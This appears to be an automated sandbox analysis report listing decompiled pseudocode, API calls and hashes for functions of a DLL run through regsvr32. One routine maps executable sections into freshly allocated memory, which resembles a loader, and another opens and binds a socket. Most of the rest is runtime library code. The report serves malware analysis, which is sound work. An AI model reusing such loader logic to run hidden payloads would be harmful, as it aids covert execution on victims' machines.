Opcode ID: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction ID: 8ebff57b685a6f4636b50d0b354dfd0ee4d70228ae444a146c3f0929ed30e208
Opcode Fuzzy Hash: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction Fuzzy Hash: 93E06D71A193569EFB10AB308C9972536F4EB46386F104826F911CD4A0F7B0C6C09A01

Uniqueness

Uniqueness Score: -1.00%

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10002010(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0x104e9
				_v20 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x4a8bb445
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x10002c17
				_v24 =  *_a16 + _t9;
				_v8 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000001
					if(_v8 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v24 + 0x10) != 0) {
						_t41 = _v24 + 0x14; // 0x4a8bb445
						_t43 = _v24 + 0x10; // 0x8b118bbc
						if(E10001FE0(_v28, _a8,  *_t41 +  *_t43) != 0) {
							_t47 = _v24 + 0x10; // 0x8b118bbc
							_t50 = _v24 + 0xc; // 0x4d8b0000
							_t76 = VirtualAlloc(_v20 +  *_t50,  *_t47, 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_t55 = _v24 + 0xc; // 0x4d8b0000
								_v12 = _v20 +  *_t55;
								_t58 = _v24 + 0x10; // 0x8b118bbc
								_t61 = _v24 + 0x14; // 0x4a8bb445
								E10001E60(_v12, _a4 +  *_t61,  *_t58);
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v24 + 8)) = _v12;
								L1:
								_v8 = _v8 + 1;
								_v24 = _v24 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v16 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v16 <= 0) {
						L8:
						goto L1;
					}
					_t28 = _v24 + 0xc; // 0x4d8b0000
					_v12 = VirtualAlloc(_v20 +  *_t28, _v16, 0x1000, 4);
					if(_v12 != 0) {
						_t33 = _v24 + 0xc; // 0x4d8b0000
						_v12 = _v20 +  *_t33;
						 *((intOrPtr*)(_v24 + 8)) = _v12;
						E10001E10(_v12, 0, _v16);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

0x10002016
0x1000201c
0x1000201f
0x1000202c
0x10002030
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0x10002052
0x10002057
0x1000205e
0x00000000
0x00000000
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0x00000000
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0x100020b0
0x100020b9
0x100020c6
0x100020cb
0x00000000
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0x00000000
0x100020a0
0x00000000

APIs

VirtualAlloc.KERNEL32(4D8B0000,00000000,00001000,00000004,?,10002BFF,00000000), ref: 10002091
VirtualAlloc.KERNELBASE(4D8B0000,8B118BBC,00001000,00000004,10008AC6,8B118BBC,?,10002BFF,00000000,10008AC6,?), ref: 1000210C

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction ID: c265c5d024e1aaa08d03296b5d335ffe068feccc9d90f6e2fd2d76d71ec68577
Opcode Fuzzy Hash: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction Fuzzy Hash: 4E51DEB4A0020ADFDB04CF94C591AAEB7F1FF48344F208598E915AB355D771EE91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E10008860(void* __eflags) {
				char* _v8;
				intOrPtr _v12;
				char _v16;
				char* _v20;
				void* __ebp;
				void* _t25;
				void* _t29;
				intOrPtr _t32;
				void* _t33;
				void* _t34;

				_v8 = E1001703B(_t25, _t29, _t33, _t34, 0x5f5e100);
				if(_v8 != 0) {
					_v12 = 0x5f5e100;
					_v16 = 0;
					_v20 = _v8;
					while(1) {
						__eflags = _v16 - 0x5f5e100;
						if(__eflags >= 0) {
							break;
						}
						 *_v20 = _v16;
						_v16 = _v16 + 1;
						_t32 = _v20 + 1;
						__eflags = _t32;
						_v20 = _t32;
					}
					_push(_v8); // executed
					E10016380(_t25, _t33, _t34, __eflags); // executed
					__eflags = _v16 - _v12;
					if(_v16 != _v12) {
						return 3;
					}
					return 0;
				}
				return 3;
			}

0x10008873
0x1000887a
0x10008883
0x1000888a
0x10008894
0x100088ab
0x100088ab
0x100088b2
0x00000000
0x00000000
0x100088ba
0x1000889f
0x100088a5
0x100088a5
0x100088a8
0x100088a8
0x100088c1
0x100088c2
0x100088cd
0x100088d0
0x00000000
0x100088d6
0x00000000
0x100088d2
0x00000000

APIs

_malloc.LIBCMT ref: 1000886B

Part of subcall function 1001703B: __FF_MSGBANNER.LIBCMT ref: 1001705E
Part of subcall function 1001703B: __NMSG_WRITE.LIBCMT ref: 10017065
Part of subcall function 1001703B: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001), ref: 100170B3

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction ID: 9e6909d06ecd8ca97a2f758cde8d66f904c366c92fb4d9c13ba1bad92c8ee0bf
Opcode Fuzzy Hash: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction Fuzzy Hash: 9A0178B4D0424CEFEB00CFA4C8446AEBBB4FB04354F60C8A9D9516B349E735AB00DB81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100011C0, Relevance: 10.6, APIs: 7, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100011F1
_memset.LIBCMT ref: 10001205
htonl.WS2_32(00000000), ref: 1000121B
htons.WS2_32(?), ref: 1000122F
socket.WS2_32(00000002,00000002,00000000), ref: 10001245
bind.WS2_32(?,?,00000010), ref: 1000126A
setsockopt.WS2_32(?,0000FFFF,00001006,00000001,00000008), ref: 100012AC

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Startup_memsetbindhtonlhtonssetsockoptsocket
String ID:
API String ID: 1003240404-0
Opcode ID: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction ID: 88ed1bb05716eef25c8d7e89d15ea7d56457a166ccc4c5acc9453768105f33a4
Opcode Fuzzy Hash: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction Fuzzy Hash: 1C215974A01228AFE760DF60CC85BD9B7B4EF49714F1081D8E949AB381CB71A9C2DF51

Uniqueness

Uniqueness Score: -1.00%

Function 10008B90, Relevance: 9.1, APIs: 6, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E10008B90(intOrPtr __ecx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				struct HDC__* _v120;
				char _v124;
				int _v128;
				int _v132;
				int _v136;
				struct HICON__* _v140;
				intOrPtr _v144;
				void* __ebp;
				signed int _t37;
				int _t40;
				void* _t41;
				void* _t66;
				struct tagRECT* _t82;
				void* _t84;
				void* _t85;
				signed int _t86;

				_t37 =  *0x10057a08; // 0xe6b5ff6d
				_v32 = _t37 ^ _t86;
				_v144 = __ecx;
				_t40 = IsIconic( *(_v144 + 0x20));
				_t87 = _t40;
				if(_t40 == 0) {
					_t41 = E1000C473(_t66, _v144, _t84, _t85, __eflags);
				} else {
					_push(_v144);
					E10013247(_t66,  &_v124, _t84, _t85, _t87);
					_t88 =  &_v124;
					if( &_v124 != 0) {
						_v136 = _v120;
					} else {
						_v136 = 0;
					}
					SendMessageA( *(_v144 + 0x20), 0x27, _v136, 0);
					_v128 = GetSystemMetrics(0xb);
					_v132 = GetSystemMetrics(0xc);
					_t82 =  &_v28;
					GetClientRect( *(_v144 + 0x20), _t82);
					asm("cdq");
					_v12 = _v20 - _v28 - _v128 + 1 - _t82 >> 1;
					asm("cdq");
					_v8 = _v16 - _v24 - _v132 + 1 - _t82 >> 1;
					_v140 =  *((intOrPtr*)(_v144 + 0x188));
					_t79 = _v8;
					DrawIcon(_v120, _v12, _v8, _v140);
					_t41 = E1001329B(_t66,  &_v124, _t84, _t85, _t88);
				}
				return E100167D5(_t41, _t66, _v32 ^ _t86, _t79, _t84, _t85);
			}

0x10008b99
0x10008ba0
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0x10008ca6

APIs

IsIconic.USER32(?), ref: 10008BB3

Part of subcall function 10013247: __EH_prolog3.LIBCMT ref: 1001324E
Part of subcall function 10013247: BeginPaint.USER32(?,?,00000004,1000C48A,?,00000058,10008C99), ref: 1001327A

SendMessageA.USER32(?,00000027,?,00000000), ref: 10008C01
GetSystemMetrics.USER32 ref: 10008C09
GetSystemMetrics.USER32 ref: 10008C14
GetClientRect.USER32 ref: 10008C2B
DrawIcon.USER32 ref: 10008C7E

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$BeginClientDrawH_prolog3IconIconicMessagePaintRectSend
String ID:
API String ID: 1007970657-0
Opcode ID: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction ID: 92cad86a1f48a06ffd889b7e25b84ff06398f92b7342aaec6ad7b9fd969ef154
Opcode Fuzzy Hash: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction Fuzzy Hash: BB31F975A00119DFEB24CFA8C995F9EBBB4FF48240F108299E549E7285DE30AA44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A803, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
libraryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000A803(void* __ebx, void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __esi;
				void* __ebp;
				signed int _t9;
				intOrPtr* _t18;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t34;
				void* _t35;
				signed int _t36;
				void* _t37;

				_t33 = __edi;
				_t32 = __edx;
				_t28 = __ecx;
				_t26 = __ebx;
				_t9 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t9 ^ _t36;
				_t39 = _a4 - 0x800;
				_t35 = __ecx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags != 0) {
						goto L2;
					} else {
					}
				} else {
					_push(E1001808E(__edx,  &_v288, 4, "LOC"));
					E10009BC7(__ebx, _t28, __edi, _t35);
					_t37 = _t37 + 0x10;
					L2:
					_push(_t26);
					_push(_t33);
					_t34 =  *(E10017D62(_t39));
					 *(E10017D62(_t39)) =  *_t14 & 0x00000000;
					_t35 = 0x112;
					_t27 = E10016E0C( &_v284, 0x112, 0x111, 0x112,  &_v288);
					_t18 = E10017D62(_t39);
					_t40 =  *_t18;
					if( *_t18 == 0) {
						 *(E10017D62(__eflags)) = _t34;
					} else {
						E10009DD1( *((intOrPtr*)(E10017D62(_t40))));
					}
					if(_t27 == 0xffffffff || _t27 >= _t35) {
						_t12 = 0;
						__eflags = 0;
					} else {
						_t12 = LoadLibraryA( &_v284);
					}
					_pop(_t33);
					_pop(_t26);
				}
				return E100167D5(_t12, _t26, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000a803
0x1000a803
0x1000a803
0x1000a803
0x1000a80c
0x1000a813
0x1000a816
0x1000a81e
0x1000a826
0x1000a89a
0x1000a89c
0x00000000
0x00000000
0x1000a89e
0x1000a828
0x1000a835
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0x1000a8b7
0x1000a8b7
0x1000a8c1
0x1000a8c2
0x1000a8c2
0x1000a8cf

APIs

_strcpy_s.LIBCMT ref: 1000A830

Part of subcall function 10009BC7: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 10009BC7: __EH_prolog3.LIBCMT ref: 1000A0FC

Part of subcall function 10017D62: __getptd_noexit.LIBCMT ref: 10017D62

__snprintf_s.LIBCMT ref: 1000A869

Part of subcall function 10016E0C: __vsnprintf_s_l.LIBCMT ref: 10016E21

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 1000A894
LoadLibraryA.KERNEL32(?), ref: 1000A8B7

Strings

LOC, xrefs: 1000A828

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Exception@8H_prolog3InfoLibraryLoadLocaleThrow__getptd_noexit__snprintf_s__vsnprintf_s_l_strcpy_s
String ID: LOC
API String ID: 4018564869-519433814
Opcode ID: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction ID: ee9450464cbd3e0ce3331b4d2b41357aa0e69ec1529eb2fe66138b72776ed960
Opcode Fuzzy Hash: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction Fuzzy Hash: A9119A7190411CABF725D760DC86BDD37B8EF06790F504161F6049B191DF74AEC68BA1

Uniqueness

Uniqueness Score: -1.00%

Function 100167D5, Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E100167D5(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x10057a08; // 0xe6b5ff6d
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x1005afc0 = _t6;
				 *0x1005afbc = _t22;
				 *0x1005afb8 = _t25;
				 *0x1005afb4 = _t21;
				 *0x1005afb0 = _t27;
				 *0x1005afac = _t26;
				 *0x1005afd8 = ss;
				 *0x1005afcc = cs;
				 *0x1005afa8 = ds;
				 *0x1005afa4 = es;
				 *0x1005afa0 = fs;
				 *0x1005af9c = gs;
				asm("pushfd");
				_pop( *0x1005afd0);
				 *0x1005afc4 =  *_t31;
				 *0x1005afc8 = _v0;
				 *0x1005afd4 =  &_a4;
				 *0x1005af10 = 0x10001;
				_t11 =  *0x1005afc8; // 0x0
				 *0x1005aec4 = _t11;
				 *0x1005aeb8 = 0xc0000409;
				 *0x1005aebc = 1;
				_t12 =  *0x10057a08; // 0xe6b5ff6d
				_v812 = _t12;
				_t13 =  *0x10057a0c; // 0x194a0092
				_v808 = _t13;
				 *0x1005af08 = IsDebuggerPresent();
				_push(1);
				E100227FB(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x1002b434);
				if( *0x1005af08 == 0) {
					_push(1);
					E100227FB(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x100167d5
0x100167d5
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0x1001c452
0x1001c45a
0x1001c465
0x1001c472
0x1001c474
0x1001c476
0x1001c47b
0x1001c48f

APIs

IsDebuggerPresent.KERNEL32 ref: 1001C445
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001C45A
UnhandledExceptionFilter.KERNEL32(1002B434), ref: 1001C465
GetCurrentProcess.KERNEL32(C0000409), ref: 1001C481
TerminateProcess.KERNEL32(00000000), ref: 1001C488

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction ID: 29b7c1aed7e77d05a339182a33a9266dca5d513d51f4b37265af4c9016ee4a47
Opcode Fuzzy Hash: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction Fuzzy Hash: 0021B0B4408328DFE701DFA9EDC96487BB0FB0A315F50406AE508873A1E7B459C2CF55

Uniqueness

Uniqueness Score: -1.00%

Function 100126F9, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100126F9(void* __ecx, CHAR* _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t8;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t16;
				struct HINSTANCE__* _t17;
				void* _t18;

				_t14 = 0;
				_t11 = 0;
				_t19 = _a4;
				_t18 = __ecx;
				if(_a4 == 0) {
					L4:
					_t16 = E100122B0(_t11, _t18, _t11);
					if(_t11 != 0 && _t14 != 0) {
						FreeResource(_t14);
					}
					return _t16;
				}
				_t17 =  *(E1000D5EC(0, 0, _t15, _t19) + 0xc);
				_t8 = FindResourceA(_t17, _a4, 0xf0);
				if(_t8 == 0) {
					goto L4;
				}
				_t9 = LoadResource(_t17, _t8);
				_t14 = _t9;
				if(_t14 != 0) {
					_t11 = LockResource(_t14);
					goto L4;
				}
				return _t9;
			}

0x100126fd
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0x00000000
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0x00000000
0x00000000
0x10012727
0x1001272d
0x10012731
0x1001273a
0x00000000
0x1001273a
0x1001275b

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 1001271B
LoadResource.KERNEL32(?,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012727
LockResource.KERNEL32(00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012734
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 1001274F

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction ID: 32ecfa8a0ceb179aec2dc768c20ccd4f8790d9104fa4174b83ef058a4c527ff5
Opcode Fuzzy Hash: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction Fuzzy Hash: 54F090762042226FA3019B675C88A3BB7ECEFC55E2B110039FE04D6291EE35CC629771

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF59, Relevance: 6.0, APIs: 4, Instructions: 41
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FF59(void* __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t5;
				void* _t15;
				void* _t18;
				void* _t19;

				_t15 = __ecx;
				if((E10012862(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E1000FAB8(_t15, _t15, _t18, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t19 = E1000A7CE();
				if(_t19 == 0) {
					goto L6;
				}
				_t18 = GetKeyState;
				if(GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t19 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x1000ff5c
0x1000ff68
0x1000ffb0
0x1000ffb2
0x1000ffb9
0x00000000
0x1000ffbb
0x1000ff6f
0x1000ff73
0x00000000
0x00000000
0x1000ff75
0x1000ff82
0x00000000
0x1000ff96
0x1000ffa5
0x00000000
0x1000ffad

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetKeyState.USER32(00000010), ref: 1000FF7D
GetKeyState.USER32(00000011), ref: 1000FF86
GetKeyState.USER32(00000012), ref: 1000FF8F
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 1000FFA5

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction ID: de176050283294f5fba88da379e0eecc3ccd74c62a8982f524273e82d2dc9d2d
Opcode Fuzzy Hash: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction Fuzzy Hash: 3BF0827B38025B26FA20B2748C41FBA9154CF86BD0F120538FA42EA5DECF91D8022271

Uniqueness

Uniqueness Score: -1.00%

Function 10027704, Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E10027704() {
				signed int _v8;
				char _v16;
				void* __esi;
				signed int _t8;
				intOrPtr* _t15;
				intOrPtr _t16;
				char _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				signed int _t24;
				int _t25;
				signed int _t27;

				_t8 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t8 ^ _t27;
				_t24 = 0;
				if(GetLocaleInfoA(GetThreadLocale(), 0x1004,  &_v16, 7) == 0) {
					L4:
					_t25 = GetACP();
				} else {
					_t20 = _v16;
					_t15 =  &_v16;
					if(_t20 == 0) {
						goto L4;
					} else {
						do {
							_t15 = _t15 + 1;
							_t24 = _t24 * 0xa + _t20 - 0x30;
							_t20 =  *_t15;
						} while (_t20 != 0);
						if(_t24 == 0) {
							goto L4;
						}
					}
				}
				return E100167D5(_t25, _t16, _v8 ^ _t27, _t22, _t23, _t25);
			}

0x1002770a
0x10027711
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0x00000000
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0x10027750
0x00000000
0x00000000
0x10027750
0x1002773b
0x10027768

APIs

GetThreadLocale.KERNEL32 ref: 10027717
GetLocaleInfoA.KERNEL32(00000000,00001004,?,00000007), ref: 10027729
GetACP.KERNEL32 ref: 10027752

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 2cdb2551da010e6fdb5870f0ade684243d2ea15601f9ad5558c20012d78a2078
Instruction ID: 66289914fabe9bf2d1b1abcf1e27b8b8f35a8bed3fb6bd80cc0c1702fed1c004
Opcode Fuzzy Hash: 2cdb2551da010e6fdb5870f0ade684243d2ea15601f9ad5558c20012d78a2078
Instruction Fuzzy Hash: DCF0C231E042785BE701DB7598556EF77E4FF04B90B9101ADEC86E7280D720AE0987C4

Uniqueness

Uniqueness Score: -1.00%

Function 1000D804, Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000D804(struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				int _t16;

				if(E1000D6C3() == 0) {
					if((_a8 & 0x00000003) == 0) {
						if(IsIconic(_a4) == 0) {
							_t16 = GetWindowRect(_a4,  &(_v48.rcNormalPosition));
						} else {
							_t16 = GetWindowPlacement(_a4,  &_v48);
						}
						if(_t16 == 0) {
							return 0;
						} else {
							return E1000D7B8( &(_v48.rcNormalPosition), _a8);
						}
					}
					return 0x12340042;
				}
				return  *0x1005a754(_a4, _a8);
			}

0x1000d811
0x1000d825
0x1000d839
0x1000d851
0x1000d83b
0x1000d842
0x1000d842
0x1000d859
0x00000000
0x1000d85b
0x00000000
0x1000d862
0x1000d859
0x00000000
0x1000d827
0x00000000

Memory Dump Source

